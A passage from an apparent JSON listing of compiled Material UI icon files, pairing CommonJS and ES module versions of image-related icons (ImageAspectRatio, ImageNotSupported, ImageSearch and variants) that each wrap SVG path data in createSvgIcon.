    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 10h-2v2h2zm0 4h-2v2h2zm-8-4H6v2h2zm4 0h-2v2h2zm10-6H2v16h20zm-2 14H4V6h16z\"\n}), 'ImageAspectRatioSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageAspectRatioSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 10h-2v2h2zm0 4h-2v2h2zm-8-4H6v2h2zm4 0h-2v2h2zm10-6H2v16h20zm-2 14H4V6h16z\"\n}), 'ImageAspectRatioSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageAspectRatioTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18h16V6H4zm10-8h2v2h-2zm0 4h2v2h-2zm-4-4h2v2h-2zm-4 0h2v2H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 10h2v2h-2zm0 4h2v2h-2zm-8-4h2v2H6zm4 0h2v2h-2zm10-6H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"1\")], 'ImageAspectRatioTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageAspectRatioTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18h16V6H4zm10-8h2v2h-2zm0 4h2v2h-2zm-4-4h2v2h-2zm-4 0h2v2H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 10h2v2h-2zm0 4h2v2h-2zm-8-4h2v2H6zm4 0h2v2h-2zm10-6H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"1\")], 'ImageAspectRatioTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageNotSupported.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.9 21.9-8.49-8.49-9.82-9.82L2.1 2.1.69 3.51 3 5.83V19c0 1.1.9 2 2 2h13.17l2.31 2.31zM5 18l3.5-4.5 2.5 3.01L12.17 15l3 3zm16 .17L5.83 3H19c1.1 0 2 .9 2 2z\"\n}), 'ImageNotSupported');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageNotSupported.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.9 21.9-8.49-8.49-9.82-9.82L2.1 2.1.69 3.51 3 5.83V19c0 1.1.9 2 2 2h13.17l2.31 2.31zM5 18l3.5-4.5 2.5 3.01L12.17 15l3 3zm16 .17L5.83 3H19c1.1 0 2 .9 2 2z\"\n}), 'ImageNotSupported');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageNotSupportedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.9 21.9-6.1-6.1-2.69-2.69L5 5 3.59 3.59 2.1 2.1.69 3.51 3 5.83V19c0 1.1.9 2 2 2h13.17l2.31 2.31zM5 19V7.83l6.84 6.84-.84 1.05L9 13l-3 4h8.17l2 2zM7.83 5l-2-2H19c1.1 0 2 .9 2 2v13.17l-2-2V5z\"\n}), 'ImageNotSupportedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageNotSupportedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.9 21.9-6.1-6.1-2.69-2.69L5 5 3.59 3.59 2.1 2.1.69 3.51 3 5.83V19c0 1.1.9 2 2 2h13.17l2.31 2.31zM5 19V7.83l6.84 6.84-.84 1.05L9 13l-3 4h8.17l2 2zM7.83 5l-2-2H19c1.1 0 2 .9 2 2v13.17l-2-2V5z\"\n}), 'ImageNotSupportedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageNotSupportedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.19 21.19-.78-.78L18 18l-4.59-4.59-9.82-9.82-.78-.78a.996.996 0 0 0-1.41 0C1 3.2 1 3.83 1.39 4.22L3 5.83V19c0 1.1.9 2 2 2h13.17l1.61 1.61c.39.39 1.02.39 1.41 0s.39-1.03 0-1.42M6.02 18c-.42 0-.65-.48-.39-.81l2.49-3.2c.2-.25.58-.26.78-.01l2.1 2.53L12.17 15l3 3zm14.98.17L5.83 3H19c1.1 0 2 .9 2 2z\"\n}), 'ImageNotSupportedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageNotSupportedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.19 21.19-.78-.78L18 18l-4.59-4.59-9.82-9.82-.78-.78a.996.996 0 0 0-1.41 0C1 3.2 1 3.83 1.39 4.22L3 5.83V19c0 1.1.9 2 2 2h13.17l1.61 1.61c.39.39 1.02.39 1.41 0s.39-1.03 0-1.42M6.02 18c-.42 0-.65-.48-.39-.81l2.49-3.2c.2-.25.58-.26.78-.01l2.1 2.53L12.17 15l3 3zm14.98.17L5.83 3H19c1.1 0 2 .9 2 2z\"\n}), 'ImageNotSupportedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageNotSupportedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.9 21.9-8.49-8.49L3 3l-.9-.9L.69 3.51 3 5.83V21h15.17l2.31 2.31zM5 18l3.5-4.5 2.5 3.01L12.17 15l3 3zm16 .17L5.83 3H21z\"\n}), 'ImageNotSupportedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageNotSupportedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.9 21.9-8.49-8.49L3 3l-.9-.9L.69 3.51 3 5.83V21h15.17l2.31 2.31zM5 18l3.5-4.5 2.5 3.01L12.17 15l3 3zm16 .17L5.83 3H21z\"\n}), 'ImageNotSupportedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageNotSupportedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.83 5H19v11.17zm8.34 14-2-2H6l3-4 2 2.72.84-1.05L5 7.83V19z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.83 3H19c1.1 0 2 .9 2 2v13.17l-2-2V5H7.83zm14.66 20.31L18.17 21H5c-1.1 0-2-.9-2-2V5.83L.69 3.51 2.1 2.1l1.49 1.49L5 5l8.11 8.11 2.69 2.69L19 19l1.41 1.41 1.49 1.49zM16.17 19l-2-2H6l3-4 2 2.72.84-1.05L5 7.83V19z\"\n}, \"1\")], 'ImageNotSupportedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageNotSupportedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.83 5H19v11.17zm8.34 14-2-2H6l3-4 2 2.72.84-1.05L5 7.83V19z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.83 3H19c1.1 0 2 .9 2 2v13.17l-2-2V5H7.83zm14.66 20.31L18.17 21H5c-1.1 0-2-.9-2-2V5.83L.69 3.51 2.1 2.1l1.49 1.49L5 5l8.11 8.11 2.69 2.69L19 19l1.41 1.41 1.49 1.49zM16.17 19l-2-2H6l3-4 2 2.72.84-1.05L5 7.83V19z\"\n}, \"1\")], 'ImageNotSupportedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5v14H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-4.86 8.86-3 3.87L9 13.14 6 17h12z\"\n}), 'ImageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5v14H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-4.86 8.86-3 3.87L9 13.14 6 17h12z\"\n}), 'ImageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 19V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2M8.9 13.98l2.1 2.53 3.1-3.99c.2-.26.6-.26.8.01l3.51 4.68c.25.33.01.8-.4.8H6.02c-.42 0-.65-.48-.39-.81L8.12 14c.19-.26.57-.27.78-.02\"\n}), 'ImageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 19V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2M8.9 13.98l2.1 2.53 3.1-3.99c.2-.26.6-.26.8.01l3.51 4.68c.25.33.01.8-.4.8H6.02c-.42 0-.65-.48-.39-.81L8.12 14c.19-.26.57-.27.78-.02\"\n}), 'ImageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageSearch.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13v7H4V6h5.02c.05-.71.22-1.38.48-2H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-5zm-1.5 5h-11l2.75-3.53 1.96 2.36 2.75-3.54zm2.8-9.11c.44-.7.7-1.51.7-2.39C20 4.01 17.99 2 15.5 2S11 4.01 11 6.5s2.01 4.5 4.49 4.5c.88 0 1.7-.26 2.39-.7L21 13.42 22.42 12zM15.5 9C14.12 9 13 7.88 13 6.5S14.12 4 15.5 4 18 5.12 18 6.5 16.88 9 15.5 9\"\n}), 'ImageSearch');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageSearch.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13v7H4V6h5.02c.05-.71.22-1.38.48-2H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-5zm-1.5 5h-11l2.75-3.53 1.96 2.36 2.75-3.54zm2.8-9.11c.44-.7.7-1.51.7-2.39C20 4.01 17.99 2 15.5 2S11 4.01 11 6.5s2.01 4.5 4.49 4.5c.88 0 1.7-.26 2.39-.7L21 13.42 22.42 12zM15.5 9C14.12 9 13 7.88 13 6.5S14.12 4 15.5 4 18 5.12 18 6.5 16.88 9 15.5 9\"\n}), 'ImageSearch');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageSearchOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13v7H4V6h5.02c.05-.71.22-1.38.48-2H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-5zm-1.5 5h-11l2.75-3.53 1.96 2.36 2.75-3.54zm2.8-9.11c.44-.7.7-1.51.7-2.39C20 4.01 17.99 2 15.5 2S11 4.01 11 6.5s2.01 4.5 4.49 4.5c.88 0 1.7-.26 2.39-.7L21 13.42 22.42 12zM15.5 9C14.12 9 13 7.88 13 6.5S14.12 4 15.5 4 18 5.12 18 6.5 16.88 9 15.5 9\"\n}), 'ImageSearchOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageSearchOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13v7H4V6h5.02c.05-.71.22-1.38.48-2H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-5zm-1.5 5h-11l2.75-3.53 1.96 2.36 2.75-3.54zm2.8-9.11c.44-.7.7-1.51.7-2.39C20 4.01 17.99 2 15.5 2S11 4.01 11 6.5s2.01 4.5 4.49 4.5c.88 0 1.7-.26 2.39-.7L21 13.42 22.42 12zM15.5 9C14.12 9 13 7.88 13 6.5S14.12 4 15.5 4 18 5.12 18 6.5 16.88 9 15.5 9\"\n}), 'ImageSearchOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageSearchRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 15v4c0 .55-.45 1-1 1H5c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h3.02c.55 0 1-.45 1-1s-.45-1-1-1H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-5c0-.55-.45-1-1-1s-1 .45-1 1m-2.5 3H6.52c-.42 0-.65-.48-.39-.81l1.74-2.23c.2-.25.58-.26.78-.01l1.56 1.88 2.35-3.02c.2-.26.6-.26.79.01l2.55 3.39c.25.32.01.79-.4.79m3.8-9.11c.48-.77.75-1.67.69-2.66-.13-2.15-1.84-3.97-3.97-4.2C13.3 1.73 11 3.84 11 6.5c0 2.49 2.01 4.5 4.49 4.5.88 0 1.7-.26 2.39-.7l2.41 2.41c.39.39 1.03.39 1.42 0s.39-1.03 0-1.42zM15.5 9C14.12 9 13 7.88 13 6.5S14.12 4 15.5 4 18 5.12 18 6.5 16.88 9 15.5 9\"\n}), 'ImageSearchRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageSearchRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 15v4c0 .55-.45 1-1 1H5c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h3.02c.55 0 1-.45 1-1s-.45-1-1-1H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-5c0-.55-.45-1-1-1s-1 .45-1 1m-2.5 3H6.52c-.42 0-.65-.48-.39-.81l1.74-2.23c.2-.25.58-.26.78-.01l1.56 1.88 2.35-3.02c.2-.26.6-.26.79.01l2.55 3.39c.25.32.01.79-.4.79m3.8-9.11c.48-.77.75-1.67.69-2.66-.13-2.15-1.84-3.97-3.97-4.2C13.3 1.73 11 3.84 11 6.5c0 2.49 2.01 4.5 4.49 4.5.88 0 1.7-.26 2.39-.7l2.41 2.41c.39.39 1.03.39 1.42 0s.39-1.03 0-1.42zM15.5 9C14.12 9 13 7.88 13 6.5S14.12 4 15.5 4 18 5.12 18 6.5 16.88 9 15.5 9\"\n}), 'ImageSearchRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageSearchSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13v7H4V6h5.02c.05-.71.22-1.38.48-2H2v18h18v-7zm-1.5 5h-11l2.75-3.53 1.96 2.36 2.75-3.54zm2.8-9.11c.44-.7.7-1.51.7-2.39C20 4.01 17.99 2 15.5 2S11 4.01 11 6.5s2.01 4.5 4.49 4.5c.88 0 1.7-.26 2.39-.7L21 13.42 22.42 12zM15.5 9C14.12 9 13 7.88 13 6.5S14.12 4 15.5 4 18 5.12 18 6.5 16.88 9 15.5 9\"\n}), 'ImageSearchSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageSearchSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13v7H4V6h5.02c.05-.71.22-1.38.48-2H2v18h18v-7zm-1.5 5h-11l2.75-3.53 1.96 2.36 2.75-3.54zm2.8-9.11c.44-.7.7-1.51.7-2.39C20 4.01 17.99 2 15.5 2S11 4.01 11 6.5s2.01 4.5 4.49 4.5c.88 0 1.7-.26 2.39-.7L21 13.42 22.42 12zM15.5 9C14.12 9 13 7.88 13 6.5S14.12 4 15.5 4 18 5.12 18 6.5 16.88 9 15.5 9\"\n}), 'ImageSearchSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageSearchTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.7 11.53c-.7.31-1.45.47-2.21.47C12.46 12 10 9.53 10 6.5c0-.17.01-.34.03-.5H4v14h14v-8.17zM5.5 18l2.75-3.53 1.96 2.36 2.75-3.54L16.5 18z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.21 16.83-1.96-2.36L5.5 18h11l-3.54-4.71zM20 6.5C20 4.01 17.99 2 15.5 2S11 4.01 11 6.5s2.01 4.5 4.49 4.5c.88 0 1.7-.26 2.39-.7L21 13.42 22.42 12 19.3 8.89c.44-.7.7-1.51.7-2.39M15.5 9C14.12 9 13 7.88 13 6.5S14.12 4 15.5 4 18 5.12 18 6.5 16.88 9 15.5 9M18 20H4V6h6.03c.06-.72.27-1.39.58-2H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-6.17l-2-2z\"\n}, \"1\")], 'ImageSearchTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageSearchTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.7 11.53c-.7.31-1.45.47-2.21.47C12.46 12 10 9.53 10 6.5c0-.17.01-.34.03-.5H4v14h14v-8.17zM5.5 18l2.75-3.53 1.96 2.36 2.75-3.54L16.5 18z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.21 16.83-1.96-2.36L5.5 18h11l-3.54-4.71zM20 6.5C20 4.01 17.99 2 15.5 2S11 4.01 11 6.5s2.01 4.5 4.49 4.5c.88 0 1.7-.26 2.39-.7L21 13.42 22.42 12 19.3 8.89c.44-.7.7-1.51.7-2.39M15.5 9C14.12 9 13 7.88 13 6.5S14.12 4 15.5 4 18 5.12 18 6.5 16.88 9 15.5 9M18 20H4V6h6.03c.06-.72.27-1.39.58-2H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-6.17l-2-2z\"\n}, \"1\")], 'ImageSearchTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 21V3H3v18zM8.5 13.5l2.5 3.01L14.5 12l4.5 6H5z\"\n}), 'ImageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 21V3H3v18zM8.5 13.5l2.5 3.01L14.5 12l4.5 6H5z\"\n}), 'ImageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm4-5.86 2.14 2.58 3-3.87L18 17H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-4.86-7.14-3 3.86L9 13.14 6 17h12z\"\n}, \"1\")], 'ImageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImageTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm4-5.86 2.14 2.58 3-3.87L18 17H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-4.86-7.14-3 3.86L9 13.14 6 17h12z\"\n}, \"1\")], 'ImageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ImagesearchRoller.js",
